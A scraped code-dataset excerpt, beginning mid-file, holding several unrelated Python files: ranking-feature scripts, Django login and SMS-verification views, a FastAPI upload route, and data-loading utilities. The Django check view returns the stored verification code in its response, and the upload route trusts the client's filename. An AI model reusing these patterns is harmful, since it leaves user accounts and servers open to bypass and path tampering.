line_parts = line.split(' ')\n r = int(line_parts[0])\n qid = int(line_parts[1][4:])\n did = int(line_parts[6])\n if qid not in rel:\n rel[qid] = {}\n rel[qid][did] = r\n docids.add(did)\n queryids.add(qid)\n \n file_in.close()\n\n docs = {}\n doc_reader = csv.reader(open('./data/docs.tsv', 'r'), delimiter='\\t')\n print('Collecting document text')\n i = 0\n for [id, text] in doc_reader:\n i += 1\n print('\\r[{:10}] {:4.1f}%'.format(int(i // 884182.3) * '#', i / 88418.23), end='')\n id = int(id)\n if id in docids:\n docs[id] = text\n print('Done')\n\n queries = {}\n load_queries(queryids, queries, csv.reader(open('./data/queries.train.tsv', 'r'), delimiter='\\t'))\n load_queries(queryids, queries, csv.reader(open('./data/queries.dev.tsv', 'r'), delimiter='\\t'))\n load_queries(queryids, queries, csv.reader(open('./data/queries.eval.tsv', 'r'), delimiter='\\t'))\n\n with open('./data/L2R_2/processed/relevance.pickle', 'wb') as file:\n pickle.dump(rel, file)\n with open('./data/L2R_2/processed/docs.pickle', 'wb') as file:\n pickle.dump(docs, file)\n with open('./data/L2R_2/processed/queries.pickle', 'wb') as file:\n pickle.dump(queries, file)\n\n\ndef load_data():\n [relevance, documents, queries, stop_words] = [None] * 4\n\n with open('./data/L2R_2/processed/relevance.pickle', 'rb') as file:\n relevance = pickle.load(file)\n with open('./data/L2R_2/processed/docs.pickle', 'rb') as file:\n documents = pickle.load(file)\n with open('./data/L2R_2/processed/queries.pickle', 'rb') as file:\n queries = pickle.load(file)\n with open('data/stop_words.pickle', 'rb') as file:\n stop_words = pickle.load(file)\n\n return [relevance, documents, queries, stop_words]\n\n\ndef index_terms(documents, stop_words):\n terms = {}\n i = 0\n count = len(documents)\n for doc_id in documents:\n i += 1\n print('\\r{:5.2f}%'.format(i / count * 100), end='')\n terms[doc_id] = {}\n for term in re.findall(r\"[\\w']+\", documents[doc_id].lower()):\n if term in stop_words:\n continue\n if term not in terms[doc_id]:\n terms[doc_id][term] = 0\n terms[doc_id][term] += 1\n return terms\n\n\ndef calculate_index(data):\n [relevance, documents, queries, stop_words] = data\n indexed_ques = index_terms(queries, stop_words)\n print('done')\n with open('data/L2R_2/processed/indexed_ques.pickle', 'wb') as file:\n pickle.dump(indexed_ques, file)\n\n indexed_docs = index_terms(documents, stop_words)\n print('done')\n with open('./data/L2R_2/processed/indexed_docs.pickle', 'wb') as file:\n pickle.dump(indexed_docs, file)\n\n with open('./data/L2R_2/processed/indexed_docs.pickle', 'rb') as file:\n indexed_docs = pickle.load(file)\n\n inverted_index = {}\n i = 0\n for did in indexed_docs:\n i += 1\n print('\\r{:5.2f}%'.format(i / len(indexed_docs) * 100), end='')\n for term in indexed_docs[did]:\n if term not in inverted_index:\n inverted_index[term] = set()\n inverted_index[term].add(did)\n with open('./data/L2R_2/processed/inverted_index.pickle', 'wb') as file:\n pickle.dump(inverted_index, file)\n\n\ndef load_index():\n [indexed_ques, indexed_docs, inverted_index] = [None] * 3\n\n with open('data/L2R_2/processed/indexed_ques.pickle', 'rb') as file:\n indexed_ques = pickle.load(file)\n\n with open('./data/L2R_2/processed/indexed_docs.pickle', 'rb') as file:\n indexed_docs = pickle.load(file)\n\n with open('./data/L2R_2/processed/inverted_index.pickle', 'rb') as file:\n inverted_index = pickle.load(file)\n\n return [indexed_ques, indexed_docs, inverted_index]\n\n\ndef calc_tf(index, qid, did):\n [indexed_ques, indexed_docs, inverted_index] = index\n\n count = 0\n summ = 0\n for term in indexed_ques[qid]:\n count += indexed_ques[qid][term]\n if term in indexed_docs[did]:\n summ += indexed_ques[qid][term] * indexed_docs[did][term] / np.sum(\n [indexed_docs[did][tid] for tid in indexed_docs[did]])\n\n if count == 0:\n return 0\n return summ / count\n\n\ndef calc_idf(index, did, idf_cache):\n [indexed_ques, indexed_docs, inverted_index] = index\n\n count = 0\n summ = 0\n for term in indexed_docs[did]:\n if term not in idf_cache:\n idf_cache[term] = np.log2(len(indexed_docs) / len(inverted_index[term]))\n count += indexed_docs[did][term]\n summ += indexed_docs[did][term] * idf_cache[term]\n\n if count == 0:\n return 0\n return summ / count\n\n\n# def calc_bm25(n, tf, doc_len, avg_len, qf, N):\ndef calc_bm25(data, index, f_vals, qid, did, avg_len):\n [relevance, documents, queries, stop_words] = data\n [indexed_ques, indexed_docs, inverted_index] = index\n [tf_vals, idf_vals] = f_vals\n\n r = 0\n R = 0\n\n # constants\n k1 = 1.2\n k2 = 100\n b = 0.75\n\n doc_len = np.sum([indexed_docs[did][t] for t in indexed_docs[did]])\n\n K = k1 * ((1 - b) + b * (doc_len / avg_len))\n\n score = 0\n for term in indexed_ques[qid]:\n if term not in indexed_docs[did]:\n continue\n\n tf = indexed_docs[did][term]\n qf = indexed_ques[qid][term]\n n = len(inverted_index[term])\n\n sub1 = R - r + 0.5\n upper = (r + 0.5) / sub1 * (k1 + 1) * tf * (k2 + 1) * qf\n sub2 = len(documents) - n - R + r + 0.5\n lower = (n - r + 0.5) / sub2 * (K + tf) * (k2 + qf)\n score += max(-1, np.log10(upper / lower))\n\n return score\n\n\ndef process_tf(data, index):\n [relevance, documents, queries, stop_words] = data\n [indexed_ques, indexed_docs, inverted_index] = index\n\n print('tf_values:')\n tf_vals = {}\n i = 0\n for query in relevance:\n i += 1\n print('\\r{:5.2f}%'.format(i / len(relevance) * 100), end='')\n tf_vals[query] = {}\n for document in relevance[query]:\n tf_vals[query][document] = calc_tf(index, query, document)\n print('done')\n\n with open('./data/L2R_2/processed/tf_values.pickle', 'wb') as file:\n pickle.dump(tf_vals, file)\n\n\ndef load_tf():\n with open('./data/L2R_2/processed/tf_values.pickle', 'rb') as file:\n return pickle.load(file)\n\n\ndef process_idf(data, index):\n [relevance, documents, queries, stop_words] = data\n [indexed_ques, indexed_docs, inverted_index] = index\n\n print('idf_values:')\n idf_vals = {}\n idf_cache = {}\n i = 0\n for document in documents:\n i += 1\n print('\\r{:5.2f}%'.format(i / len(documents) * 100), end='')\n idf_vals[document] = calc_idf(index, document, idf_cache)\n print('done')\n\n with open('./data/L2R_2/processed/idf_values.pickle', 'wb') as file:\n pickle.dump(idf_vals, file)\n\n\ndef load_idf():\n with open('./data/L2R_2/processed/idf_values.pickle', 'rb') as file:\n return pickle.load(file)\n\n\ndef process_bm25(data, index, f_vals):\n [relevance, documents, queries, stop_words] = data\n [indexed_ques, indexed_docs, inverted_index] = index\n [tf_vals, idf_vals] = f_vals\n\n avg_len = np.average([np.sum([indexed_docs[d][t] for t in indexed_docs[d]]) for d in indexed_docs])\n\n print('bm25_values:')\n bm25_vals = {}\n i = 0\n for query in relevance:\n i += 1\n print('\\r{:5.2f}%'.format(i / len(relevance) * 100), end='')\n bm25_vals[query] = {}\n for document in relevance[query]:\n bm25_vals[query][document] = calc_bm25(data, index, f_vals, query, document, avg_len)\n print('done')\n\n with open('./data/L2R_2/processed/bm25_values.pickle', 'wb') as file:\n pickle.dump(bm25_vals, file)\n\n\ndef load_bm25():\n with open('./data/L2R_2/processed/bm25_values.pickle', 'rb') as file:\n return pickle.load(file)\n\n\ndef append_features(data, index, f_vals, bm25_vals):\n [relevance, documents, queries, stop_words] = data\n [indexed_ques, indexed_docs, inverted_index] = index\n [tf_vals, idf_vals] = f_vals\n\n\n file_in = open('data/L2R_2/feature_dev_train.txt', 'r')\n file_out = open('data/L2R_2/feature_dev_train_plus.txt', 'w')\n\n i = 0\n for line in file_in.readlines():\n i += 1\n print('\\r{:5.2f}%'.format(i / len(relevance) * 100), end='')\n line_parts = line.split(' ')\n qid = int(line_parts[1][4:])\n did = int(line_parts[6])\n line_parts.insert(4, '3:{:}'.format(tf_vals[qid][did]))\n line_parts.insert(5, '4:{:}'.format(idf_vals[did]))\n line_parts.insert(6, '5:{:}'.format(bm25_vals[qid][did]))\n file_out.write(' '.join(line_parts))\n\n file_in.close()\n file_out.close()\n\n\ndef export_features(data, index, f_vals, bm25_vals):\n [relevance, documents, queries, stop_words] = data\n [indexed_ques, indexed_docs, inverted_index] = index\n [tf_vals, idf_vals] = f_vals\n\n file_out = open('data/L2R_2/feature_dev_train_plus.txt', 'w')\n\n i = 0\n for query in relevance:\n i += 1\n print('\\r{:5.2f}%'.format(i / len(relevance) * 100), end='')\n for document in relevance[query]:\n line = '{:} qid:{:} 1:{:} 2:{:} 3:{:} 4:{:} 5:{:} #docid = {:}\\n'.format(\n relevance[query][document],\n query,\n len(indexed_docs[document]),\n np.sum([indexed_docs[document][term] for term in indexed_docs[document]]),\n tf_vals[query][document],\n idf_vals[document],\n bm25_vals[query][document],\n document)\n file_out.write(line)\n\n file_out.close()\n\nif __name__ == '__main__':\n # calculate_data()\n data = load_data()\n # calculate_index(data)\n index = load_index()\n # process_tf(data, index)\n # process_idf(data, index)\n f_vals = [load_tf(), load_idf()]\n # process_bm25(data, index, f_vals)\n bm25_vals = load_bm25()\n append_features(data, index, f_vals, bm25_vals)","repo_name":"lzhanggithub/IR-Group-42","sub_path":"py-scripts/L2R_script_2.py","file_name":"L2R_script_2.py","file_ext":"py","file_size_in_byte":10751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30463145786","text":"import jwt, random, json\r\n\r\nimport os\r\nimport hmac\r\nimport time\r\nimport base64\r\nimport datetime\r\nimport hashlib\r\nimport requests\r\nfrom .serializers import *\r\n\r\n\r\nfrom .models import User, AuthSMS\r\nfrom . import models as m\r\nfrom django.conf import settings\r\n\r\nfrom django.contrib.auth import authenticate\r\nfrom django.http import JsonResponse\r\nfrom django.shortcuts import render, get_object_or_404\r\nfrom nuseum.settings import SECRET_KEY\r\n\r\nfrom rest_framework import status\r\nfrom rest_framework.response import Response\r\nfrom rest_framework.views import APIView\r\nfrom rest_framework_simplejwt.serializers import TokenObtainPairSerializer, TokenRefreshSerializer\r\n\r\n### 소셜 로그인 사용 위한 url 변수 설정 ###\r\nBASE_URL = '/'\r\nKAKAO_CALLBACK_URI = BASE_URL + 'kakao/callback/'\r\nNAVER_CALLBACK_URI = BASE_URL + 'naver/callback/'\r\n\r\ndef test_view(request):\r\n return render(request, 'account/test.html')\r\n\r\nclass AuthAPIView(APIView):\r\n # 유저 정보 확인\r\n def get(self, request):\r\n try:\r\n # access token을 decode 해서 유저 id 추출 => 유저 식별\r\n access = request.COOKIES['access']\r\n payload = jwt.decode(access, SECRET_KEY, algorithms=['HS256'])\r\n pk = payload.get('user_id')\r\n user = get_object_or_404(User, pk=pk)\r\n serializer = UserSerializer(instance=user)\r\n return Response(serializer.data, status=status.HTTP_200_OK)\r\n\r\n except(jwt.exceptions.ExpiredSignatureError):\r\n # 토큰 만료 시 토큰 갱신\r\n data = {'refresh': request.COOKIES.get('refresh', None)}\r\n serializer = TokenRefreshSerializer(data=data)\r\n if serializer.is_valid(raise_exception=True):\r\n access = serializer.data.get('access', None)\r\n refresh = serializer.data.get('refresh', None)\r\n payload = jwt.decode(access, SECRET_KEY, algorithms=['HS256'])\r\n pk = payload.get('user_id')\r\n user = get_object_or_404(User, pk=pk)\r\n serializer = UserSerializer(instance=user)\r\n res = Response(serializer.data, status=status.HTTP_200_OK)\r\n res.set_cookie('access', access)\r\n res.set_cookie('refresh', refresh)\r\n return res\r\n raise jwt.exceptions.InvalidTokenError\r\n\r\n except(jwt.exceptions.InvalidTokenError):\r\n # 사용 불가능한 토큰일 때\r\n return Response(status=status.HTTP_400_BAD_REQUEST)\r\n\r\n # 로그인\r\n def post(self, request):\r\n \t# 유저 인증 self.request, username=user_id, password=password\r\n user = authenticate(username=request.data.get(\"user_id\"), password=request.data.get(\"password\"))\r\n # 이미 회원가입 된 유저일 때\r\n if user is not None:\r\n serializer = UserSerializer(user)\r\n # jwt 토큰 접근\r\n token = TokenObtainPairSerializer.get_token(user)\r\n refresh_token = str(token)\r\n access_token = str(token.access_token)\r\n res = Response(\r\n {\r\n \"code\" : \"0000\",\r\n \"message\": \"Login success\",\r\n \"user\": serializer.data,\r\n \"token\": {\r\n \"access\": access_token,\r\n \"refresh\": refresh_token,\r\n },\r\n },\r\n status=status.HTTP_200_OK,\r\n )\r\n # jwt 토큰 => 쿠키에 저장\r\n res.set_cookie(\"access\", access_token, httponly=True)\r\n res.set_cookie(\"refresh\", refresh_token, httponly=True)\r\n return res\r\n else:\r\n return Response(\r\n {\r\n \"message\" : \"Login Fail\",\r\n \"code\" : \"1000\",\r\n },\r\n status=status.HTTP_400_BAD_REQUEST,\r\n )\r\n\r\n # 로그아웃\r\n def delete(self, request):\r\n # 쿠키에 저장된 토큰 삭제 => 로그아웃 처리\r\n response = Response({\r\n \"code\" : \"0000\",\r\n \"message\": \"Logout success\"\r\n }, status=status.HTTP_202_ACCEPTED)\r\n response.delete_cookie(\"access\")\r\n response.delete_cookie(\"refresh\")\r\n return response\r\n\r\nclass RegisterAPIView(APIView):\r\n # 회원가입\r\n def post(self, request):\r\n serializer = RegisterSerializer(data=request.data)\r\n if serializer.is_valid():\r\n user = serializer.save()\r\n\r\n # jwt 토큰 접근\r\n token = TokenObtainPairSerializer.get_token(user)\r\n refresh_token = str(token)\r\n access_token = str(token.access_token)\r\n res = Response(\r\n {\r\n \"code\" : \"0000\",\r\n \"message\": \"register successs\",\r\n \"user\": serializer.data, \r\n \"token\": {\r\n \"access\": access_token,\r\n \"refresh\": refresh_token,\r\n },\r\n },\r\n status=status.HTTP_200_OK,\r\n )\r\n \r\n return res\r\n else:\r\n return Response(\r\n {\r\n \"message\" : \"Registration Fail\",\r\n \"code\" : \"1001\",\r\n \"detail\" : serializer.errors,\r\n },\r\n status=status.HTTP_400_BAD_REQUEST,\r\n ) \r\n\r\nclass IdValidation(APIView):\r\n '''\r\n 중복 아이디가 있는지 검증하는 API\r\n jquery blur로 AJAX통해 제출.\r\n '''\r\n def post(self, request):\r\n try:\r\n user_id = request.data['user_id']\r\n try:\r\n user = User.objects.get(user_id=user_id)\r\n except Exception as e:\r\n user = None\r\n \r\n if user is None:\r\n res = Response(\r\n {\r\n \"code\" : \"0001\",\r\n \"message\": \"id not exist\",\r\n } \r\n )\r\n else:\r\n res = Response(\r\n {\r\n \"code\" : \"0002\",\r\n \"message\": \"id exist\",\r\n }\r\n )\r\n\r\n# context = {\r\n# 'data' : \"not exist\" \r\n# if user is None \r\n# else \"exist\"\r\n# }\r\n \r\n except KeyError:\r\n return Response(\r\n {\r\n \"message\" : \"Bad Request\",\r\n \"code\" : \"1002\",\r\n },\r\n status=status.HTTP_400_BAD_REQUEST,\r\n )\r\n \r\n else:\r\n# return JsonResponse(context)\r\n return res\r\n \r\nclass HPValidation(APIView):\r\n '''\r\n 중복 휴대폰 번호가 있는지 검증하는 API\r\n jquery blur로 AJAX통해 제출.\r\n '''\r\n def post(self, request):\r\n try:\r\n hp = request.data['hp']\r\n try:\r\n user = User.objects.get(hp=hp)\r\n except Exception as e:\r\n user = None\r\n \r\n if user is None:\r\n res = Response(\r\n {\r\n \"code\" : \"0003\",\r\n \"message\": \"hp not exist\",\r\n } \r\n )\r\n else:\r\n res = Response(\r\n {\r\n \"code\" : \"0004\",\r\n \"message\": \"hp exist\",\r\n }\r\n )\r\n\r\n# context = {\r\n# 'data' : \"not exist\" if user is None else \"exist\"\r\n# }\r\n\r\n except KeyError:\r\n return Response(\r\n {\r\n \"message\" : \"Bad Request\",\r\n \"code\" : \"1003\",\r\n },\r\n status=status.HTTP_400_BAD_REQUEST,\r\n )\r\n \r\n else:\r\n# return JsonResponse(context)\r\n return res\r\n\r\nclass AuthView(APIView):\r\n '''\r\n 받은 request data로 휴대폰번호를 통해 AuthSMS에 update_or_create\r\n 인증번호 난수 생성및 저장은 모델 안에 존재.\r\n '''\r\n def post(self, request):\r\n try:\r\n p_num = request.data['hp']\r\n \r\n except KeyError:\r\n return Response(\r\n {\r\n \"message\" : \"Bad Request\",\r\n \"code\" : \"1004\",\r\n },\r\n status=status.HTTP_400_BAD_REQUEST,\r\n )\r\n else:\r\n AuthSMS.objects.update_or_create(hp=p_num)\r\n #return Response({'message': 'OK', 'phone#':request.data['hp'], \"auth_code\":auth_code})\r\n return Response(\r\n {\r\n 'message': 'OK', \r\n \"code\" : \"0000\",\r\n 'phone#':request.data['hp']\r\n }\r\n )\r\n\r\n #휴대폰번호를 쿼리로 인증번호가 매치되는지 찾는 함수\r\n #hp, auth 매개변수\r\n def get(self, request):\r\n try: \r\n p_number = request.data['hp']\r\n a_number = request.data['auth']\r\n \r\n except KeyError:\r\n return Response(\r\n {\r\n \"message\" : \"Bad Request\",\r\n \"code\" : \"1005\",\r\n },\r\n status=status.HTTP_400_BAD_REQUEST,\r\n )\r\n else:\r\n result = AuthSMS.objects.check_auth_number(p_number, a_number)\r\n return Response({\"message\":\"ok\", \"result\":result})\r\n \r\n\r\nclass Check_auth(APIView):\r\n\r\n #휴대폰번호를 쿼리로 인증번호가 매치되는지 찾는 함수\r\n #hp, auth 매개변수\r\n\r\n def post(self, request):\r\n try:\r\n user_hp = request.data['hp']\r\n user_auth = request.data['auth']\r\n\r\n auth = AuthSMS.objects.get(hp=user_hp).auth\r\n c_auth = str(auth)\r\n\r\n if c_auth == user_auth:\r\n res = Response(\r\n {\r\n \"code\" : \"0000\",\r\n \"message\": \"hp Auth success\",\r\n \"user_auth\" : user_auth ,\r\n \"auth\" : auth\r\n } \r\n ) \r\n elif c_auth != user_auth:\r\n res = Response(\r\n {\r\n \"code\" : \"1005\",\r\n \"message\": \"hp Auth fail\",\r\n \"user_auth\" : user_auth ,\r\n \"auth\" : auth\r\n } \r\n )\r\n except KeyError:\r\n return Response(\r\n {\r\n \"message\" : \"Bad Request\",\r\n \"code\" : \"1005\",\r\n },\r\n status=status.HTTP_400_BAD_REQUEST,\r\n )\r\n else:\r\n return res\r\n\r\n return res\r\n\r\ndef send_sms(request): \r\n phone_number = request \r\n\r\n BASE_DIR = getattr(settings, 'BASE_DIR', None)\r\n file_path = \"naver_cloud_sens.json\" # 네이버 sens api key 파일\r\n\r\n with open(os.path.join(BASE_DIR,file_path), encoding='utf-8') as f:\r\n nc_sens_key = json.load(f)\r\n\r\n # Generate and store an authentication code (for later verification)\r\n # You can use libraries like random or secrets to generate a code\r\n authentication_code = random.randint(100000, 1000000) # 난수로 6자리 문자 인증 번호 생성\r\n\r\n ##### 네이버 sens 서비스 이용 위한 json request 형식 #####\r\n timestamp = str(int(time.time() * 1000))\r\n\r\n url = \"https://sens.apigw.ntruss.com\"\r\n uri = \"/sms/v2/services/ncp:sms:kr:306737371424:quickself/messages\"\r\n apiUrl = url + uri\r\n\r\n access_key = nc_sens_key['NAVER_SENS_ACCESS_KEY']\r\n secret_key = bytes(nc_sens_key['NAVER_SENS_SECRET_KEY'], 'UTF-8')\r\n message = bytes(\"POST\" + \" \" + uri + \"\\n\" + timestamp + \"\\n\" + access_key, 'UTF-8')\r\n signingKey = base64.b64encode(hmac.new(secret_key, message, digestmod=hashlib.sha256).digest())\r\n \r\n body = {\r\n \"type\" : \"SMS\",\r\n \"contentType\" : \"COMM\",\r\n \"from\" : \"01052802707\",\r\n \"subject\" : \"subject\",\r\n \"content\" : \"[뉴지엄] 인증 번호 [{}]를 입력해주세요.\".format(authentication_code),\r\n \"messages\" : [{\"to\" : phone_number}]\r\n }\r\n \r\n body2 = json.dumps(body)\r\n headers = {\r\n \"Content-Type\": \"application/json; charset=utf-8\",\r\n \"x-ncp-apigw-timestamp\": timestamp,\r\n \"x-ncp-iam-access-key\": access_key,\r\n \"x-ncp-apigw-signature-v2\": signingKey\r\n }\r\n\r\n response = requests.post(apiUrl, headers=headers, data=body2)\r\n\r\n if response.status_code == 202:\r\n return authentication_code\r\n else:\r\n return response.status_code\r\n \r\ndef verify_code(request):\r\n if request.method == 'POST':\r\n user_input_code = request.POST.get('code')\r\n stored_code = request.session.get('authentication_code')\r\n phone_number = request.session.get('phone_number')\r\n \r\n if user_input_code == stored_code:\r\n # Code matches, do something like marking the phone number as verified\r\n return JsonResponse({\"message\": \"Verification successful\"})\r\n else:\r\n return JsonResponse({\"message\": \"Verification failed\"}, status=400)\r\n","repo_name":"pample-pay/Nuseum-V3-BE","sub_path":"nuseum/account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26757382954","text":"from base64 import encode\nimport io\nfrom publisher import publish_forever\nfrom xml_json_yaml_convert.converter import Converter\nMLs = [\"pyDict\", \"xml\", \"json\", \"yaml\"]\nfrom fastapi import APIRouter, FastAPI, UploadFile\nimport shutil\n\nrouter = APIRouter(\n prefix=\"/files\"\n)\n\n\ndef converter(data = \"\", input_ml:str = \"pyDict\", output_ml:str = \"pyDict\"):\n\n if input_ml == output_ml:\n return data\n else:\n translator = Converter(data)\n if input_ml == \"xml\":\n data = translator.from_xml()\n if input_ml == \"json\":\n data = translator.from_json()\n if input_ml == \"yaml\":\n data = translator.from_yaml()\n inverce_translator = Converter(data)\n if output_ml == \"pyDict\":\n return data\n if output_ml == \"xml\":\n return inverce_translator.to_xml()\n if output_ml == \"json\":\n return inverce_translator.to_json()\n if output_ml == \"yaml\":\n return inverce_translator.to_yaml()\n\ndef sendFileToConverter(file):\n return converter(file, input_ml=\"xml\")\n\ndef sendJSONToRabbit(file):\n parameter = sendFileToConverter(file)\n print(parameter)\n publish_forever(file)\n \n\n\n@router.post('/')\nasync def upload_file(\n file: UploadFile\n):\n with open(f'{file.filename}', \"wb\") as buffer:\n shutil.copyfileobj(file.file, buffer)\n shutil.move(file.filename, \"uploads/\" + \"file.xml\")\n data = open(\"./uploads/file.xml\", 'r', encoding='utf-8')\n sendJSONToRabbit(data.read())\n \n\napp = FastAPI()\n\napp.include_router(router)","repo_name":"elkopass/AGORAHACK","sub_path":"gateway/rest/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40449797601","text":"import scrapy\nfrom scrapy.crawler import CrawlerProcess\n\nfrom bd.spiders.sc import SCSpider\n\ncrawler_process = CrawlerProcess({\n 'USER_AGENT': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'\n})\n\ncrawler = crawler_process.create_crawler()\nspider = crawler.spiders.create('sc')\ncrawler.crawl(spider)\ncrawler_process.start()","repo_name":"AgentG2015/Scrapy","sub_path":"bd2/multi.py","file_name":"multi.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"25439503361","text":"def xor_uncipher(string:str, key: str)->str:\r\n \"\"\"Kodeeritud text dekodeeritakse\r\n \"\"\"\r\n result=''\r\n temp=[]\r\n for i in range(len(string)):\r\n temp.append(string[i])\r\n for j in reversed(range(len(key))):\r\n temp[i]=chr(ord(key[j])^ord(temp[i]))\r\n result +=temp[i]\r\n return result\r\n\r\n\r\n","repo_name":"Robot372/Rjazanov12.11","sub_path":"module1.py","file_name":"module1.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1083379875","text":"from sqlalchemy.orm import scoped_session, sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import create_engine, Integer, String, Text, Binary, Column, Float\nfrom zope.sqlalchemy import ZopeTransactionExtension\n\n# DBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension()))\nDB_URI = 'sqlite:///stuff2.db'\n\nSession = sessionmaker(autocommit=False,\n autoflush=False,\n bind=create_engine(DB_URI))\nsession = scoped_session(Session)\nBase = declarative_base()\n\n\nclass Bid(Base):\n\n __tablename__ = 'bid'\n\n id \t = Column(Integer, primary_key=True)\n code \t\t = Column(String(50))\n created_at = Column(String(50))\n created_by = Column(String(50))\n quantity = Column(Float(precision=4, asdecimal=True))\n price \t\t = Column(Float(precision=4, asdecimal=True))\n\n def __init__(self, code, created_at ,created_by, quantity, price):\n\n self.code = code\n self.created_at = created_at\n self.created_by = created_by\n self.quantity = quantity\n self.price = price\n\n @classmethod\n def from_json(cls, data):\n return cls(**data)\n\n def to_json(self):\n to_serialize = ['id', 'code', 'created_at', 'created_by', 'quantity', 'price']\n d = {}\n for attr_name in to_serialize:\n d[attr_name] = getattr(self, attr_name)\n return d\n\n\n# creates database\nif __name__ == \"__main__\":\n print('in main', DB_URI)\n engine = create_engine(DB_URI)\n Base.metadata.drop_all(engine)\n Base.metadata.create_all(engine)","repo_name":"lmarent/Auction_Engine","sub_path":"auction/auctionapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9278758260","text":"import BioSimSpace as BSS\r\n\r\nfrom os.path import basename\r\n\r\nimport itertools\r\nimport sys\r\n\r\ndef test_mapping(file0, file1, count, output, verbose=False):\r\n\r\n if verbose:\r\n print(\"Loading the molecules...\")\r\n\r\n print(\"%05d : %s --> %s\" % (count, basename(file0), basename(file1)))\r\n\r\n # Load each file and grab the first (only) molecule.\r\n mol0 = BSS.IO.readMolecules(file0).getMolecules()[0]\r\n mol1 = BSS.IO.readMolecules(file1).getMolecules()[0]\r\n\r\n if verbose:\r\n print(\"Performing the mapping...\")\r\n\r\n # Find the best MCS mapping.\r\n mapping = BSS.Align.matchAtoms(mol0, mol1, verbose=verbose)\r\n\r\n # Write the mapping to file.\r\n with open(output + \".mapping\", \"w\") as file:\r\n for idx0, idx1 in mapping.items():\r\n atom0 = mol0._getSireMolecule().atom(idx0)\r\n atom1 = mol1._getSireMolecule().atom(idx1)\r\n\r\n file.write(\"%s --> %s\\n\" % (atom0, atom1))\r\n\r\n # Align mol0 to mol1.\r\n mol0 = BSS.Align.rmsdAlign(mol0, mol1, mapping)\r\n\r\n # Create a combined system from the aligned molecules.\r\n system = mol0 + mol1\r\n\r\n # Write the system to file.\r\n BSS.IO.saveMolecules(output, system, \"PDB\")\r\n\r\nif __name__ == \"__main__\":\r\n\r\n if len(sys.argv) == 2:\r\n ligand_dir = sys.argv[1]\r\n else:\r\n ligand_dir = \".\"\r\n\r\n ligand_list = BSS.IO.glob(\"%s/*.mol2\" % ligand_dir)\r\n\r\n count = 0\r\n\r\n # Loop over all pairs of ligands.\r\n for pair in itertools.combinations(ligand_list, 2):\r\n file0 = pair[0]\r\n file1 = pair[1]\r\n name_0 = basename(file0).split(\".\")[0]\r\n name_1 = basename(file1).split(\".\")[0]\r\n output = \"%05d\" % count + \"_\" + name_0 + \"_\" + name_1\r\n\r\n try:\r\n test_mapping(file0, file1, count, output, False)\r\n except:\r\n print (\"ERROR: mapping problem: %s, %s\" % (file0, file1))\r\n\r\n count = count +1\r\n","repo_name":"michellab/BioSimSpace_examples","sub_path":"mappings/mapping.py","file_name":"mapping.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20455466159","text":"import sys, os\nimport logging\nimport yaml\n\nlog = logging.getLogger(__name__)\n\n# figure correct function to import, though used elsewhere\ntry:\n from ushlex import split as shplit\nexcept ImportError:\n from shlex import split as shplit\n if sys.version < '3.0':\n log.warning('Warning: shlex module cannot handle unicode. '\n 'install ushlex.')\nshplit # make pyflakes happy\n\n\nclass MultiMap(dict):\n ''' Holds an ordered list of pairs while masquerading as a dictionary.\n Keeps order like the OrderedDict, but also duplicate keys,\n which is useful to represent HMTL nodes.\n '''\n def __init__(self, value):\n self.value = value\n\n def __repr__(self):\n return repr(self.value)\n\n def iteritems(self):\n for pair in self.value:\n yield pair\n\n\nclass SafeOrdLoader(yaml.BaseLoader):\n ''' An ordered and simplified/safe yaml loader.\n\n Disables the use of \"%\" chars as directive characters,\n and {}, [] as inline flow characters so we can use templating\n languages and don't have to quote so much. Also @ & etc.\n '''\n #~ def check_directive(self):\n #~ return False\n\n def check_plain(self):\n ch = self.peek()\n return ch not in u'\\0 \\t\\r\\n\\x85\\u2028\\u2029-?:!|>\\'\\\"`' \\\n or (self.peek(1) not in u'\\0 \\t\\r\\n\\x85\\u2028\\u2029'\n and (ch == u'-' or (not self.flow_level and ch in u'?:')))\n return True\n\n def fetch_more_tokens(self):\n 'Override this to skip several chars like %, {, and }.'\n from yaml.scanner import ScannerError\n\n # Eat whitespaces and comments until we reach the next token.\n self.scan_to_next_token()\n\n # Remove obsolete possible simple keys.\n self.stale_possible_simple_keys()\n\n # Compare the current indentation and column. It may add some tokens\n # and decrease the current indentation level.\n self.unwind_indent(self.column)\n\n # Peek the next character.\n ch = self.peek()\n\n # Is it the end of stream?\n if ch == u'\\0':\n return self.fetch_stream_end()\n\n # Is it a directive?\n #~ if ch == u'%' and self.check_directive():\n #~ return self.fetch_directive()\n\n # Is it the document start?\n if ch == u'-' and self.check_document_start():\n return self.fetch_document_start()\n\n # Is it the document end?\n if ch == u'.' and self.check_document_end():\n return self.fetch_document_end()\n\n # TODO: support for BOM within a stream.\n #if ch == u'\\uFEFF':\n # return self.fetch_bom() <-- issue BOMToken\n\n # Note: the order of the following checks is NOT significant.\n\n #~ # Is it the flow sequence start indicator?\n #~ if ch == u'[':\n #~ return self.fetch_flow_sequence_start()\n\n #~ # Is it the flow mapping start indicator?\n #~ if ch == u'{':\n #~ return self.fetch_flow_mapping_start()\n\n #~ # Is it the flow sequence end indicator?\n #~ if ch == u']':\n #~ return self.fetch_flow_sequence_end()\n\n #~ # Is it the flow mapping end indicator?\n #~ if ch == u'}':\n #~ return self.fetch_flow_mapping_end()\n\n #~ # Is it the flow entry indicator?\n #~ if ch == u',':\n #~ return self.fetch_flow_entry()\n\n # Is it the 